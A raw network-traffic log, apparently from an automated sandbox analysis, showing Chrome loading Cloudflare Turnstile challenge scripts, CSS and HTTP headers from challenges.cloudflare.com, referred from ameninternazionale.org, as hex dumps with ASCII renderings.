2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f Data Ascii: existent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e Data Ascii: __\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")throw n
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d Data Ascii: &&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var r=
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e Data Ascii: me="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49733	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:32 UTC	803	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ameninternazionale.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:33 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26763 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-09 17:41:33 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 66 36 63 39 36 31 39 39 62 30 30 66 61 31 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ef6c96199b00fa1-EWRalt-svc: h3=":443"; ma=86400
2024-12-09 17:41:33 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49735	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:34 UTC	728	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c96199b00fa1&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:34 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:34 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121880 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6c96c4cddc344-EWR alt-svc: h3=":443"; ma=86400
